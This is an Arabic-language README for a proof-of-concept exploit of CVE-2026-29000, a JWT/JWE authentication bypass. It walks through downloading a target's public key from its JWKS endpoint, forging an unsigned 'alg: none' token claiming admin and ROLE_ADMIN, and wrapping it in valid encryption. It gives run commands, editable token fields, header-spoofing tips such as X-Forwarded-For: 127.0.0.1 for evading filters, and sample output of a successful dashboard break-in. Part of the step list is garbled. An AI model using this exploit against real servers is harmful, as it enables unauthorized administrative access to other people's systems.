
PoC لثغرة CVE-2026-29000
نص برمجي لإثبات المفهوم (PoC) يوضح ثغرة تجاوز المصادقة باستخدام رموز JSON Web Tokens (JWT) وتشفير JSON Web Encryption (JWE). تستغل هذه الأداة البيئات التي تتحقق بشكل غير صحيح من خوارزميات الرموز بقبولها رموز JWT غير موقّعة (alg: none) داخل بنية JWE صالحة.
تستغل سلسلة الاستغلال هذه خللًا شائعًا في التنفيذ التشفيري:
jwks (مجموعة مفاتيح الويب JSON) المكشوفة لدى الهدف ويقوم بتنزيل المفتاح العام RSA الخاص بالخادم.ROLE_ADMIN. ويضبط ترويسة الخوارزمية عمدًا إلى "alg": "none".Authorization: Bearer. إذا قام الخادم بفك تشفير JWE ووثق في JWE الداخلي بشكل أعمى دون التحقق من توقيعه، يتم منح الوصول.قبل تشغيل النص البرمجي، تأكد من تثبيت Python 3 بالإضافة إلى التبعيات اللازمة.
pip install requests jwcrypto
يتطلب النص البرمجي وسيطين: عنوان URL للوحة التحكم المستهدفة التي تريد اختبارها، وعنوان URL الذي تستضاف فيه المفاتيح العامة.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
اعتمادًا على هدفك، قد تحتاج إلى تعديل بنية الرمز أو طلبات HTTP لتجاوز مرشحات محددة.
إذا كان الخادم المستهدف يتوقع حقولًا محددة داخل JWT نفسه (مثل ترويسة typ، أو معرّفات مستخدم مخصصة في الحمولة)، يمكنك إضافتها بسهولة.
افتح exploit.py وحدد هذا القسم:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
يمكنك إضافة أي حقول تريدها مفصولة بفواصل. على سبيل المثال، لإضافة typ (النوع) وkid (معرّف المفتاح) إلى ترويسة JWT، وبريد إلكتروني مخصص إلى الحمولة:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
إذا كان هدفك يتطلب ترويسات شبكة محددة (مثل User-Agent مخصص، أو ترويسات تجاوز مثل X-Forwarded-For، أو مفاتيح API)، حدد موقع طلب الشبكة في أسفل النص البرمجي:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
أضف ترويسات الشبكة الإضافية الخاصة بك مثل هذا:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
ملاحظة: إذا كنت تحتاج أيضًا إلى إرسال هذه الترويسات أثناء تنزيل المفتاح العام الأولي، يمكنك تمرير نفس القاموس إلى استدعاء requests.get() في أعلى النص البرمجي.
عند النجاح، سيقوم النص البرمجي بإخراج الرمز المزوّر والاستجابة المُحلَّلة من نقطة النهاية المقيدة، مما يثبت نجاح التجاوز:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
أخطاء HTTP 401/403: الخادم المستهدف يتحقق من التوقيعات بشكل صحيح ويرفض حمولة alg: none. فشل الاستغلال لأن الهدف محصّن.
أخطاء الاتصال: تأكد من أن عناوين URL المقدمة تتضمن المخطط الكامل (http:// أو https://) وأن الخادم المستهدف يمكن الوصول إليه حاليًا.
أخطاء التبعيات: تأكد من تثبيت jwcrypto بشكل صحيح عبر pip.